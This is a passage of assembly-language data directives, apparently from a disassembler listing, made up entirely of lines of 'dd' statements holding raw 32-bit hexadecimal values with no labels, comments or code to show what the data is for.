		dd 4971D8D5h, 450272B1h, 29B280D5h, 5001033Fh, 4104F8EAh
		dd 44E86BF7h, 0AFBC25C5h, 0F4CF14CCh, 0A9374FB7h, 8B08B27Fh
		dd 7CF50B1Fh, 7E2C6FC1h, 0E8FE56E9h, 13E52F59h,	0CCAC1DFCh
		dd 0D112E9A0h, 53508BA8h, 0B092B31Ch, 9AC23017h, 4AB55863h
		dd 97ABE259h, 0E9531C41h, 50037E02h, 3A3C84B1h,	23B25577h
		dd 60407E7Ch, 4CAB603Fh, 90A5F89Fh, 1CE1CD8h, 0AB15520Bh
		dd 20524836h, 51121610h, 42ECF9B1h, 2CE8280Eh, 1CBDF6F6h
		dd 766FD8E9h, 4A704108h, 6774CE82h, 5A580720h, 80514951h
		dd 7E9515Eh, 0BE68C07Bh, 3A324019h, 2EF7313Eh, 0F9ADC9C6h
		dd 0D1F38988h, 6080147Dh, 65BA2BA3h, 167AE54Ah,	0E9B9059h
		dd 4BC1E1D1h, 16BBFA06h, 0FC47FF1h, 68A2017Ch, 96F517F4h
		dd 79849F5Fh, 3B0BACF9h, 78DC1348h, 4F03E2CCh, 0DA9BBCBBh
		dd 9D3B52A8h, 0F85901F6h, 80D9E86Ah, 97595F51h,	0B7D073F7h
		dd 4309DE70h, 705BC32Fh, 634A6B73h, 0CB0892D6h,	7EE825BAh
		dd 4082441Eh, 91FC818Ah, 98D0BB68h, 0C05B1208h,	0F42A0657h
		dd 5F4820E2h, 0F6EA181Dh, 170ABF0Eh, 0A83E4C60h, 0F073547h
		dd 8CCF81BAh, 8FF32FF9h, 26BFEE04h, 8C1EEE77h, 0E9085039h
		dd 0FC5B115Eh, 0A768A083h, 0F45FF0BFh, 349E312Dh, 1260208h
		dd 70FA0373h, 4ECA2DD7h, 659D2344h, 2DAC8D99h, 13754223h
		dd 8751030Bh, 7E8FFAEFh, 0D9F60126h, 3A9BB753h,	0EA89C6E1h
		dd 0E7FB7444h, 6E4824BFh, 9595B82h, 5CF1DD5Fh, 0A6C06F67h
		dd 90180B3Ch, 7B202CECh, 50D953A3h, 4AB66F25h, 0A150EF9Fh
		dd 0E4DDE2Dh, 770FBA31h, 0B9513980h, 962C7201h,	0C544881Bh
		dd 0AD4C0B10h, 0DA76FC2Fh, 2865D178h, 0E9830EEh, 17085E94h
		dd 0CA06F3C3h, 0C0570DBh, 1FCC671Dh, 93FEC2EFh,	2A5F7369h
		dd 0F75977B0h, 0AAC35F92h, 43A5455Fh, 0C5BE13D1h, 49226056h
		dd 19786264h, 1812C0D6h, 0CCAE58BBh, 537167F7h,	0C901B692h
		dd 1C416D42h, 9F5508E9h, 7114C5FBh, 7E1522E1h, 5E728198h
		dd 0B2B6ECF2h, 75AE6AB3h, 0E98BC94Dh, 0E90CAF3Bh, 1A3285CCh
		dd 0AFBBF841h, 0D2F360BEh, 736D85Ah, 7C7BA0BDh,	4FBFA223h
		dd 9C0583E4h, 31BB90E5h, 0BBCBAAh, 83573A2Dh, 51C80106h
		dd 42B0705h, 811F9D38h,	0F0C329EFh, 6D249EBFh, 0A01222E8h
		dd 1B4BAA53h, 64862E8Bh, 64F31E79h, 61599402h, 0FA745862h
		dd 5D70637h, 67A99D01h,	0BE14843Bh, 50C7FD21h, 20264E76h
		dd 0C15F826Bh, 954906E7h, 81133B62h, 4A7C9AFEh,	918974BEh
		dd 703831EBh, 0A854E9D1h, 575B5FD7h, 0D8A193B9h, 276335Ah
		dd 23779B35h, 15C27826h, 594D8468h, 6CC45C4Dh, 268AAB27h
		dd 79143A1Bh, 977060B2h, 3E0802BDh, 100209B8h, 385619A3h
		dd 0E8BB53C0h, 3398280Dh, 40781ECFh, 28EE47Dh, 0E01ACD74h
		dd 729984h, 86255A68h, 0A1009556h, 0A979DAAAh, 12C2DEB7h
		dd 0EAB8C4D6h, 40FFCDA4h, 75DE66B7h, 5FE75755h,	640674C0h
		dd 85145B21h, 52CCEF1Ah, 0EB3C6AE9h, 0A30501B8h, 6016E15Ah
		dd 63A9124Bh, 6C6EE452h, 5A1B3709h, 6AA0554Ah, 0AA4CE946h
		dd 0D05ADEE6h, 0D39E23ACh, 3211F9A2h, 7DED86EFh, 0EE22B4A9h
		dd 0A10FD53Fh, 0F74B1EAh, 689E06Ah, 0BC4F5BFCh,	0EC2724AFh
		dd 99A2B4E3h, 2F2E3ED0h, 54578B60h, 0F7E421DCh,	0C6900DA8h
		dd 32697F07h, 7D0BBB7Eh, 0DDCCBA5Dh, 3668A980h,	85BD7CACh
		dd 44AF4606h, 0EA2DF87Fh, 40BFAE2Ch, 214B5B15h,	914F27E6h
		dd 5EDAE27h, 691C0D0Ah,	0A4A9C313h, 8541E912h, 6E53BA88h
		dd 2DCDA108h, 0F32D2140h, 804F6B72h, 289060Bh, 939FC65h
		dd 0CC6B787Ch, 4AFC844Ch, 1D98E2B6h, 1E9714EAh,	7235C707h
		dd 0B8503420h, 8F4E3F5Ah, 20080D03h, 3FB64A1h, 6A7931F9h
		dd 0C8D26BC3h, 5238Dh, 95849141h, 3AEBA52h, 29370201h
		dd 0ED94E9D6h, 4A1DA73Bh, 0A1AE44AEh, 29AC0FB6h, 109682C6h
		dd 9FF40C05h, 58CA0E53h, 5A9A49D6h, 0B24AC39Ah,	5B743029h
		dd 25127D68h, 554836AAh, 7D82C9C0h, 0FC2567D1h,	40BA10E9h
		dd 3725B784h, 94C44089h, 69502C4Ch, 5C2002BCh, 9C8002D5h
		dd 45E5E826h, 6D8D19Fh,	77FB4FE9h, 0EB739A2Fh, 520BDCE9h
		dd 0B5AE2D05h, 0C53C3061h, 0E6EB73C0h, 9D335637h, 96684EC0h
		dd 9F69F99Fh, 8A7741B9h, 30E18171h, 623B2286h, 70034EC1h
		dd 0DF6F0AAEh, 0FA9EE996h, 979C129Eh, 0DB07E41Ah, 224C8504h
		dd 7299CB01h, 8083EBE1h, 7AC28BCh, 4D5F2CF2h, 63E905ACh
		dd 0A08EBB39h, 0D879557Eh, 7361C920h, 0F83D4FFAh, 2A8D487Ah
		dd 5C5BB0D2h, 0FD9243F6h, 54F90554h, 0C6015F28h, 47634F62h
		dd 100EE6D8h, 617363Dh,	53B0D45h, 41090B0Ch, 0BA0FFAFh
		dd 0E9624B35h, 10051858h, 533B0D87h, 468A68BEh,	2CC57CE4h
		dd 905D926Ch, 0BF4FA228h, 48583A31h, 0F1255FE9h, 0B37B806Fh
		dd 0F1F6E128h, 9FE2BCBFh, 1A6E90C4h, 0DDE9D329h, 0D60A337Bh
		dd 82DC0176h, 0EB740502h, 88545B2Fh, 5815B514h,	4ADA46C6h
		dd 8402C79Ch, 316AE912h, 0DEB77DF8h, 0A1D1AEB6h, 8E418A6Eh
		dd 0B90050DFh, 0A33525A2h, 0BBBDF67Eh, 5072EE05h, 0FAEE0578h
		dd 792CF317h, 295A6B30h, 2FB33F3h, 0DA29F635h, 2A5E5D5Bh
		dd 0FF94017Ah, 3D75ECE9h, 17473420h, 0FE74F025h, 0C0BE3712h
		dd 2E224635h, 35E1F61h,	9960EF14h, 1E3EC1C3h, 6DDE01B3h
		dd 0D8F98945h, 55D6B54Ch, 39DCB556h, 46E5329Fh,	5646202Ch
		dd 0EF4C5F79h, 5E704B9h, 5DA0BE68h, 0A5F255E9h,	0C11CB3Fh
		dd 29019C68h, 9F04B52Bh, 7E8BBB58h, 8429FD4Eh, 0B3A2B41Ch
		dd 0A6B01E98h, 14D0F625h, 80B33EC0h, 92D6D3A5h,	0C338F73Ch
		dd 73CB2669h, 0E7FD6F18h, 0CF510525h, 81EFC141h, 3E2B3FB1h
		dd 0FB28B0A3h, 803440E7h, 5233EB00h, 0D32813B2h, 0DEE3E65Ah
		dd 0DE5E255Ah, 1C4E74E9h, 24EB1E33h, 0E9026151h, 562BA854h
		dd 968C6A0h, 0C670896Fh, 9F817485h, 2D815AD4h, 7814234Eh
		dd 0BEC5813Fh, 0C2418152h, 3B120259h, 95E3EAF5h, 5D5D080Bh
		dd 0B3A71EEh, 58F94E31h, 4C2EC486h, 2046BD06h, 0EC56D5CEh
		dd 3EE01104h, 5D084029h, 0C38982B7h, 0E2D107B7h, 0DDC0C23Bh
		dd 67BCEF85h, 0B76CE480h, 160B0D54h, 3086607h, 90102D8Bh
		dd 83E9A3B0h, 0C0A34AB7h, 2308624h, 0E5810CD9h,	3DE311E1h
		dd 43C00C07h, 0C5C0516Ch, 5C475BA4h, 0C9069946h, 1801C479h
		dd 351DA90Bh, 6897FBBh,	7469A976h, 0E8494487h, 0A1CF4AA5h
		dd 0E7A9E82Ah, 497BF2D9h, 8C5EEB7Bh, 2BFDA5BDh,	0E79075ADh
		dd 19B73F9Ch, 952A872Eh, 9306E24Fh, 0F6B181BFh,	0DA8CDCD2h
		dd 8842D19Fh, 6800D46Bh, 67AD61AAh, 0AC534A58h,	93C3C0D8h
		dd 6E1055Bh, 89D977DEh,	626238C6h, 7D5EF273h, 0F979E98Dh
		dd 5D1343Ah, 8F7D210Bh,	0F116DF19h, 0D8BC8924h,	13CAD269h
		dd 98469368h, 0C60D1D2Eh, 3309E94Eh, 336BE1F5h,	0B20057AEh
		dd 777E1508h, 18E2CB81h, 0C16AA29h, 232F73F5h, 484CD040h
		dd 0E5480893h, 0BF89827Dh, 4FCFDE00h, 7D58F00Bh, 9A440294h
		dd 21F49Dh, 542E6E2Dh, 34CF134Ch, 2EBAA128h, 84A54F76h
		dd 26F63A96h, 450BF2C5h, 53B231Eh, 702EFA8h, 74CC19E9h
		dd 52AB81B1h, 6A5A72BFh, 0D5CBD4FCh, 312789C4h,	0AD535351h
		dd 0EB599EDCh, 0E94F011Dh
		dd 5A8C6806h, 0F54FA161h, 0C572AC2Bh, 0DE4B2555h, 6F9AFD90h
		dd 89189AC1h, 6F7B51Ah,	61CECEDh, 0B7515EB9h, 6048322Fh
		dd 8409B484h, 0B277A55h, 5E54565Dh, 1F73E704h, 0F6B17F67h
		dd 5B7BBB53h, 13A86AE0h, 0BE609B7Bh, 26E91D02h,	9BEC77D9h
		dd 0C30B3498h, 0EA156E7Eh, 0D50809CCh, 3F8059E6h, 84822F26h
		dd 9BEAF3Ah, 305759AFh,	0B460F367h, 5AF25322h, 0F2492ADEh
		dd 1D5920F4h, 0B753660Bh, 6E6F0592h, 27231F56h,	0BA29E955h
		dd 0D1926362h, 53BCD21h, 0B025EDECh, 99EFE24Bh,	675FECA9h
		dd 0F8E98971h, 49FCD928h, 0E6F830D8h, 3C41EC5Eh, 0C33098B0h
		dd 82B158D8h, 0B0E6787Fh, 0EB1801Fh, 0FD2505C9h, 0E851DD68h
		dd 56A4C168h, 0D5971FB6h, 79CBB5Ah, 5F252FE9h, 0B160BD92h
		dd 0F782B06Bh, 0C196DDA2h, 25D82057h, 97277329h, 0AAC09EE2h
		dd 94985301h, 0F27CCF41h, 14DD2D2Dh, 0E5674E6Bh, 10822F9Eh
		dd 0A2B6FCE4h, 3DEB2012h, 0B52EFA95h, 63E5FEF3h, 0BE0716AFh
		dd 62BBFE16h, 0C169AF59h, 86CB6058h, 0F2EFCBA1h, 0F12DC0D9h
		dd 14DF6B65h, 0E907C369h, 3C2FAFDFh, 8DFDC5Fh, 880DF6EEh
		dd 8542B0F8h, 3215D5Eh,	0E733F280h, 0DC91D3FBh,	0E344205Bh
		dd 752B8FC9h, 0E9A451AEh, 5AE3928Bh, 0D121DE68h, 80BD9FF6h
		dd 7BE3BA4Fh, 19344C16h, 125BF102h, 55DE297Ah, 5A690820h
		dd 12AF751Eh, 0E1E949FFh, 78BDB8E0h, 56C21407h,	0DDC3EDD1h
		dd 0FC714A32h, 9DD8F409h, 0CA702DE9h, 0D5FFBAD5h, 5700BFCCh
		dd 23BE5655h, 7505C31h,	7B1851BDh, 5C808B28h, 0DA43CCBFh
		dd 0C329AA28h, 9A5F4C2Fh, 0B845F585h, 4E92FFA5h, 0ED5895C2h
		dd 0C5A91AEAh, 0E5837F5Bh, 7562EA16h, 734FB3C4h, 5A5D3E0Fh
		dd 6B9DFCC8h, 6B1C160Dh, 4F759BDDh, 1A35F92Bh, 5FEB6C7Eh
		dd 1716E500h, 0E0ED382Bh, 0B0302D6Ah, 7FA20C6Dh, 25464E71h
		dd 808BEA54h, 709D814Fh, 0C9053221h, 7AB37C5Fh,	6F6E5261h
		dd 373737F1h, 69FB387Ch, 0B22DFE4Eh, 8455767Ah,	0D294EE95h
		dd 5E09B922h, 40EAD8A0h, 5E0F68DFh, 4B4F6665h, 1CF24274h
		dd 5C79B751h, 6BC9265h,	5C04BB92h, 0B133B82h, 0A9F902F9h
		dd 0AE303BA4h, 301A8FCBh, 45980B54h, 969CA085h,	571B892Fh
		dd 0AE1B3010h, 0F0605981h, 21681DBEh, 5DF180C9h, 497A523Ah
		dd 70421AC5h, 0FC2D8F0h, 32C164C8h, 35D02469h, 17E15E58h
		dd 951FCA89h, 84C54713h, 2C407CA1h, 4E3E69h, 0CD814D49h
		dd 46C505ABh, 0B8E674BDh, 7FB82E9Eh, 0F48909FCh, 3E0B02A3h
		dd 0BFB96C40h, 4445C00h, 21131BBEh, 49B7FE26h, 0CF02A5C2h
		dd 7B1F2922h, 6650E857h, 50AA0814h, 5925FB01h, 3E9A405Eh
		dd 0E9246556h, 10A86305h, 20016227h, 8FC19130h,	1E6ABFC8h
		dd 94275177h, 0CB8BBCF8h, 41FAB88Bh, 62F65237h,	0C2FA5A55h
		dd 3B21EA1Eh, 0CDEFD188h, 0CE8BE91Ch, 3FA3E753h, 0BE169E12h
		dd 0D833ED32h, 0E7409F6Eh, 5580BE58h, 3B246468h, 34FC128Bh
		dd 9A25E9B8h, 0A92E105Eh, 5F8C0C44h, 290BADBFh,	795BDF2Fh
		dd 375126B8h, 2A95BDE3h, 68B063F9h, 16975958h, 30B92F04h
		dd 73935868h, 29BC7E0Fh, 0E095A9CEh, 17B4BA0Ch,	0CB5E790Eh
		dd 160D01FFh, 0DA31649Eh, 0EE27620h, 60E72AB1h,	0C38AF2C0h
		dd 8909EB87h, 48A4E9D3h, 183CED1Eh, 0C7D6A76h, 902565F5h
		dd 0DC4EA79h, 14050C08h, 0F75C41D0h, 0A7E92FF1h, 3E7FA0E2h
		dd 71E9121Fh, 0E54C40ACh, 370F1185h, 52575300h,	290B1068h
		dd 70019033h, 93DE9F06h, 0BF329F70h, 681265E6h,	0DAEC5926h
		dd 1635E3C4h, 0B2056B01h, 0D0313046h, 0D2330660h, 0A48AA01Bh
		dd 6E9C5B0Ch, 935F0EFFh, 27E9E212h, 0ED0636D2h,	622F3D58h
		dd 0DB5E0B0Ch, 620418ACh, 2FE3AFB9h, 0F704784Ch, 0C45C9F49h
		dd 0EE14C0F2h, 0BA2BA52h, 0C05842F5h, 82ECF056h, 6BAD7160h
		dd 74758E27h, 92C60013h, 2906F5D4h, 1D5EF026h, 7C395F02h
		dd 0CBD44147h, 0BD1FA05h, 8B3F57EAh, 0F9059760h, 0F3B414E1h
		dd 40AD5F84h, 2F020706h, 1B9C524Fh, 0E906198Bh,	0B7F11BBh
		dd 0B44633B6h, 44970DF8h, 77250866h, 0C6006CF6h, 60FE490Bh
		dd 73DE48F7h, 8C4E2305h, 0B8F1D55Ah, 20FC5FC8h,	1590EAD2h
		dd 0FE1E68F5h, 0E6A2976Ch, 5355E667h, 0AB3A4259h, 6E3DBB00h
		dd 4AF7F822h, 3D8FCD3h,	64364E3Bh, 7FDBD243h, 4176E4FAh
		dd 9290B4Dh, 0C6375F68h, 28BA0C49h, 64CC0C65h, 84363B28h
		dd 0DC35BF24h, 96128C40h, 0D6C1F710h, 0A730A86Fh, 5E6D43D2h
		dd 5DC88D5h, 17F68100h,	13234A40h, 1B5EF721h, 8D1EE4D8h
		dd 0F8A55756h, 0F11BB89Ah, 1E7476FDh, 0ABE84BC1h, 5FCCB71Eh
		dd 9F591648h, 5D1E0050h, 0E9E89668h, 6B3C6109h,	0C2DEE177h
		dd 45E90841h, 56E002Fh,	0DC83965h, 23073EB8h, 0F801353Dh
		dd 513E07CAh, 0A4912011h, 185892ECh, 1520040Ch,	18B83E09h
		dd 0CD088B12h, 0C6F08C93h, 3B8D0F1h, 7B3E36EFh,	0B54EB2Dh
		dd 535AE98Fh, 0FD07187h, 0C22CA41Fh, 336A3DC6h,	3082405Dh
		dd 0D67C9Fh, 8E47DB2Dh,	5E82963h, 0C9C107A2h, 96DE0C8h
		dd 0D12F0A3Eh, 7CBD3F25h, 28DB900h, 0C9812EEFh,	0E40D4E0Eh
		dd 26C1C036h, 0C9F02B0Ah, 30C35944h, 927DEA3Eh,	20041D8Eh
		dd 0B0AE7A08h, 6168358h, 0AF173A84h, 84510AADh,	9185126Ah
		dd 0C03FE22h, 26E92D51h, 0EBD6863h, 0EC778A92h,	7DA9F4C7h
		dd 0AF313B84h, 0DD55A132h, 4257C842h, 7CCEFD9Ch, 0C1A9B720h
		dd 492CF8C2h, 3FFC8465h, 0C7EE9955h, 43EE3B77h,	7A8D4095h
		dd 0D8B09DFAh, 0FE965427h, 0FA998C66h, 0A1336234h, 57001D4Dh
		dd 2D2A17BFh, 3AE24AFAh, 8107C0FDh, 0D7070935h,	4750A6E9h
		dd 8592584Ah, 0E08F2DA2h, 23D2EEC5h, 62206DACh,	0FD75E95h
		dd 0B77429A0h, 0A9097912h, 2EDB8635h, 25E32091h, 0F9880524h
		dd 5A2D073Fh, 0E54F233Ah, 59B8F43Ch, 10E0B0A4h,	0EDAC4940h
		dd 53F170FEh, 0C712C5BBh, 5939EA4Dh, 40AFD3Ah, 142A3576h
		dd 0FC48DDB8h, 6A277701h, 3AD00145h, 0E7858BFCh, 50FC3344h
		dd 0CA24FACBh, 67098B35h, 9DCCDFEFh, 0E28F5497h, 66DDA8C0h
		dd 54ECD8B7h, 800EDEF6h, 7EFEBDCEh, 36259FCAh, 0EBF5B78Fh
		dd 4FC085EEh, 5C6C0AEAh, 0CC720B22h, 0F4682468h, 7A306E5Eh
		dd 0EE3D044h, 0C04FEB80h, 0AADE05A9h, 8208540Bh, 7ABE9E35h
		dd 0B89D4A57h, 0E85F589h, 0F3567F92h, 4F700917h, 2343FF71h
		dd 0A2BB8412h, 2D139451h, 690C540Ah, 0C1871855h, 8CD2623Fh
		dd 7E09206Ch, 1604605Bh, 5E971F9Bh, 65D2839Bh, 0B2014152h
		dd 40C9589Dh, 6FBD78E9h, 7F8FE7BDh, 0F9696DA3h,	5395A370h
		dd 0F281371Bh, 0FB5FD1E8h, 0C06C97DEh, 1E75BFE4h, 166E143Dh
		dd 88B65A12h, 80AFA340h, 8E91CD31h, 821D580Ah, 2901C5C2h
		dd 9A263076h, 7DDF2307h, 0E9E82100h, 233B6730h,	0C94A72EAh
		dd 56792946h, 92822B4Ah, 23587549h, 5B5A0DFEh, 2779F6A8h
		dd 4ADE6994h, 93533863h, 0B265E94Dh, 9604F23Eh,	4E9B8BFFh
		dd 615C89CBh, 2910E55Fh, 1942482Ch, 5E244580h, 0D2C9B33Bh
		dd 5A05A6C8h, 9E7AB916h, 0EBB40A96h, 0A32FB7C3h, 17C79A7Ch
		dd 6D6BC440h, 570C1A60h, 0BEFE36CFh, 2C42C8Eh, 6D1E65BDh
		dd 0B0955AE3h, 1A16A223h, 19AE2E43h, 61531625h,	0F1D38C7h
		dd 0B68F180h, 0E1AEDD6Eh, 0EF218AE4h, 0B8290D2Ch, 0A4C8B3D9h
		dd 0A44052F9h, 4A277E6Ch, 3F69564Dh, 29B2B58Bh,	5D2769D5h
		dd 9ECDB75h, 0FAC24BFEh
		dd 8BACE052h, 93EDE4E7h, 2E1631F4h, 1320A6A4h, 4E0A4698h
		dd 476AE552h, 9B2F1B97h, 0FA53DD4Fh, 0BD48F78Ah, 9C206BC5h
		dd 8EB85760h, 7B0A8500h, 0D4F18165h, 66470461h,	0ED69A8E9h
		dd 35FF00DAh, 45400FA5h, 0FBC14D21h, 904C3616h,	0BF5F224h
		dd 347CC43Eh, 0C4BEF511h, 0C613ACh, 7141F62Eh, 0D5A05994h
		dd 7C79261Eh, 5280CCEh,	46BC9712h, 30BC5927h, 0EB2A68BAh
		dd 0B9EC8DB5h, 6800669Ah, 73F37CA9h, 0FA434B5Bh, 0B59FBA18h
		dd 0F6B593F0h, 0FE6272A6h, 91091DD1h, 5176D4C6h, 0D4C43A77h
		dd 841EF2FEh, 0ECEC64ACh, 29F3C4h, 390E281h, 0C17D3BC5h
		dd 0FE19B05Eh, 0D4511F70h, 0C83CD8BEh, 0A725D48h, 0C4981BB7h
		dd 570FF29Fh, 0E8276433h, 176B07CDh, 88CCEA1Dh,	29B9481Bh
		dd 0DD6B8ED8h, 425F7A2Eh, 47BF310h, 158B6ACCh, 2705FA58h
		dd 29EB0941h, 34B93E10h, 7034B250h, 8160072Ah, 0B44028CEh
		dd 34E4B214h, 0C1A037BAh, 1385D6DEh, 0BCB01751h, 0A8AA9C9Ch
		dd 5BC6812h, 4A04D7F3h,	0C238F330h, 38D85163h, 0BC5D2ECh
		dd 3BD228E9h, 0BC1A7E5Dh, 7B21392Ah, 31094E68h,	0A0039F32h
		dd 8E16EFD7h, 0C4AE7C55h, 58070970h, 2D80AFE5h,	0E9B5AA91h
		dd 0A6554BF8h, 9CB29286h, 0BEC3E9B2h, 0A7BBBA07h, 8729DD06h
		dd 750919C6h, 0B296CECh, 0C04EC415h, 597ACFE6h,	7B6AC232h
		dd 0FE63EFDFh, 2327389Bh, 0A11B72C2h, 0CE6AA459h, 0BBD85F95h
		dd 0CDE924FAh, 9F16A3DBh, 0B7A9DC51h, 53CA654Bh, 590FC184h
		dd 85DCE686h, 0EBC02701h, 0C33FFE08h, 0B1E6ED8h, 0F30BD7E3h
		dd 0F17AC3B4h, 0ECF060CCh, 90E2E078h, 1244914h,	3F2CC881h
		dd 2F816E16h, 0DF9741A3h, 863DFCEBh, 7735306Eh,	0B13124DAh
		dd 0E772490Ah, 0B7EC0933h, 5CC6BA57h, 2D6E238Ah, 5C701FFAh
		dd 0F40C4DB1h, 1BD3AA3h, 0E5323D4h, 0D813CD81h,	98957BDEh
		dd 4CB1E9BCh, 0EBA40CFFh, 30E99D3Ch, 5C2EDC37h,	615F6895h
		dd 0F3B698Dh, 31A75858h, 8C526E8h, 45E56819h, 0D635EC6Dh
		dd 2DDEC7Bh, 2615B3C3h,	0D64275D8h, 3008D276h, 0BDD3B09h
		dd 5D898558h, 522398F5h, 0A1680156h, 5E61FC0Fh,	2D166F4Eh
		dd 8446AF20h, 17705FDAh, 0FD14BB3Fh, 32980679h,	0CB5E6CD3h
		dd 88D62A02h, 28E2B0E7h, 5E5957C6h, 454CDDE2h, 0E7C0006Fh
		dd 0FE885202h, 2FD6F63Ah, 0F621ECF7h, 0B5E970D7h, 73E17AA1h
		dd 0ED49F14Ch, 54933B3Ah, 0A914BA02h, 90A74E0h,	0E4F159EAh
		dd 11C231B8h, 1D351EE9h, 0C16CAC3Fh, 0D683BF9h,	341B4207h
		dd 0C40C4F4Ch, 784FDD15h, 8C0B9597h, 8ADBE5D5h,	491D718Eh
		dd 0BB13C4F9h, 1DEBDCD0h, 0F932262Ch, 8685840h,	46CD1C4Bh
		dd 0F048C23Bh, 296F5EDEh, 0AD2461D7h, 6B33F140h, 5D227C4Bh
		dd 0A05F64F0h, 2E066E94h, 0D38955A9h, 0B5C25AAAh, 2F403098h
		dd 4412CFF4h, 30ACDA29h, 3A7CEEC0h, 0F7A172F9h,	0EDE264BBh
		dd 73E6037Eh, 0C0AB9213h, 0A45A47E8h, 174099BCh, 2160BBBh
		dd 0C1507D23h, 1009BA9Ch, 0D1D4003Dh, 4A73E942h, 4174A2D3h
		dd 5AF1C8FFh, 5A66D1BFh, 7CAD9156h, 6AE5AF88h, 22A20E8Bh
		dd 9A589E34h, 1F025DAEh, 0F605F43h, 0EE884170h,	8D0D2FA7h
		dd 63F5EA80h, 2D016CACh, 658A18D0h, 0A031F029h,	96B10804h
		dd 413BB930h, 71C200C6h, 754AFD4Eh, 0DAF2FB1h, 59D7BCC2h
		dd 10224B04h, 50037B3h,	4CCB4FEEh, 0DD408047h, 0DF0E1429h
		dd 0C507DA30h, 0A216EC41h, 39EC5AD0h, 7F90C0E6h, 174BA94Eh
		dd 0C29CD4E7h, 28006207h, 0F28058C7h, 0EAF9ECB8h, 0B530EBC1h
		dd 68598030h, 37352532h, 7B9550AFh, 7026A250h, 3CD702B2h
		dd 5C0102B0h, 0AF3A5AF4h, 685B5444h, 0BEE90411h, 2B31BB5Fh
		dd 5E00161Bh, 3E5F4868h, 0E25BC7A3h, 0A768048h,	3ABF6ADFh
		dd 1C0A6B4Fh, 477FCF31h, 0FEAB4BE9h, 859CEAD6h,	0C78310Ch
		dd 0D21A1036h, 1E201D14h, 0D901C581h, 0E438AAE9h, 1020F25Bh
		dd 210BA0F5h, 877F59C8h, 0A96F31DEh, 0B3EBC071h, 3E886232h
		dd 7D095759h, 0F9B58994h, 53CC9926h, 6DE82F59h,	958B092Dh
		dd 27CCC777h, 3DD3C4E0h, 7C086995h, 6A388D2Eh, 292823A5h
		dd 14D2874Ch, 0AC4B1359h, 417284B8h, 9FA037EFh,	2F8847F2h
		dd 0E5DD096Ch, 75592E1h, 0A1549B72h, 2034BD23h,	31046A74h
		dd 0E5C15FFDh, 0AD7400D0h, 54F0FEAh, 68AB5719h,	0F7082ADEh
		dd 0C5810056h, 332E49FBh, 426D297h, 8F6382CDh, 0BD49841Dh
		dd 99F101B6h, 9BB6F3Bh,	0EE0FF07Fh, 7C2F1A01h, 2994E956h
		dd 1D251F26h, 53666103h, 0F5250BFFh, 362CEE5Eh,	0BB23545Bh
		dd 0CF839FDEh, 7C5BC15Ah, 4F09461Fh, 3E287932h,	0E276DAA7h
		dd 0C47DFCC9h, 0C649C0D8h, 942541E0h, 906CA45h,	5D799C08h
		dd 844AC61Ch, 2085F5EBh, 0D00BEFC3h, 0FC0D9D49h, 3AF7818Bh
		dd 2A2DF662h, 185DEDB0h, 3A58C33Ch, 1A251623h, 6B165DA4h
		dd 5BDD3109h, 32E0FF09h, 5F829F90h, 665A01E0h, 0F80681Fh
		dd 0E32FC94Dh, 453C19D9h, 0B5E55B27h, 0CF857FA7h, 0E7B25217h
		dd 0C3105EC2h, 1EFC0091h, 0CB874090h, 8D161F7h,	21EBC14Bh
		dd 12D2E85Ch, 0DA76E93Eh, 3D659BC3h, 9A723F50h,	0FEF4BDD2h
		dd 60F8A0ECh, 0C5FE1EC0h, 8072EDD0h, 915952B0h,	3EBF03BDh
		dd 0D2700B13h, 0DDD6CA2Dh, 292566E4h, 0BE2C7DF2h, 6509F5A8h
		dd 44B7D11h, 0E2BED02Ch, 0C55B10E2h, 1692B11Ch,	0B4EDF8CBh
		dd 42CD8DEFh, 0F2D79E2Ah, 0BFC5F2DDh, 18CE6DBh,	2FE949F2h
		dd 0E34BDA64h, 2E02B9h,	968525Eh, 0A942DDCh, 0FCCA0B00h
		dd 4017C073h, 1AA4DAF7h, 152C3927h, 55EBE909h, 1F62B45Ch
		dd 880A541Ah, 0BA03E301h, 0F7887E48h, 54A0AEA4h, 0EEEB84Eh
		dd 97441F5h, 7758E6C0h,	0A4903B39h, 5F4F3838h, 0BE7B35EFh
		dd 4B51B42Ch, 0CC22DD29h, 649552E5h, 0CA801347h, 330EFFAEh
		dd 0B3EAE7D2h, 833D890Bh, 8503FC90h, 5AF2E2FFh,	0D16771BFh
		dd 0BE42625h, 65F3F9Ah,	0A00B96C6h, 21305CC3h, 8204C23h
		dd 55E95809h, 0CA731035h, 8B569DF0h, 0A61E105Bh, 0F63A75D2h
		dd 0D9B7F69Dh, 0A0F1C29Fh, 61CA2902h, 5A9655FEh, 48178B18h
		dd 0D964F7Eh, 1676090Ch, 0D57850D0h, 4E3F2428h,	0A0E45E20h
		dd 0BC1E40DAh, 22D4698Eh, 0C0989A20h, 0E961090Dh, 443A7346h
		dd 97D1EB1Eh, 94E6E44Bh, 57F2EB0Dh, 0E92C64E6h,	81819EC3h
		dd 0AC136DC1h, 0C7C741F9h, 0A1A56E1h, 0E26F89C5h, 7B1F5FA3h
		dd 58C02697h, 4888F901h, 0C8E49839h, 0EF41EC3Dh, 0A59D44D4h
		dd 41D12DC6h, 916E4A0h,	7D1DA03Bh, 2C08D1AEh, 566C2752h
		dd 4545358h, 70966D7Eh,	4FB797C0h, 9747E450h, 0A4E7A280h
		dd 0AEC4C844h, 0E6ABFE2Ah, 0A855E6Ch, 0E05BD2ECh, 0D01334FBh
		dd 0FFCF69Eh, 0D7F76828h, 0D72DBF6Ch, 0B99E5695h, 83308134h
		dd 3DD94968h, 0F3F164C8h, 0B53F079Bh, 0D1FA4111h, 49CBDD7h
		dd 15B366C1h, 17649DE5h, 5C03BF21h, 99C7AA91h, 0A668F30h
		dd 28F0F983h, 1BC1986Eh, 0EA656A5Ah, 1ABA01AFh,	6F5DA678h
		dd 0B8E83FF1h, 0BF13D020h, 0DA549604h, 46568069h, 455C4F29h
		dd 274259ABh, 3DCB5958h, 3255A796h, 0CD7C59C8h,	0FF81DDF2h
		dd 7EEB289Ch, 0F3A759ECh, 0CBFAC6B1h, 0C668C162h, 1301C925h
		dd 6E351C4Dh, 7C304745h, 2769B2C5h, 2452F029h, 8D07CF5Eh
		dd 497FFB87h, 4BA0335Dh, 68BA0412h, 8AA5E4B8h, 8ACA0F4Eh
		dd 5F3EB64Fh, 81DAB316h, 6E06C84Bh, 86BC264Bh, 204AC2A7h
		dd 2BA26801h, 804E1233h
		dd 0BC2D9CCCh, 0EEE9630Dh, 9021D7C3h, 6E3CC82Bh, 0B6012E40h
		dd 0E8B802AFh, 0F5C3DA66h, 7A83124Ah, 8C79882Dh, 2972DC55h
		dd 249D287Fh, 88BCC469h, 5B0A9B88h, 0BE0AC72Dh,	0EB0B815Fh
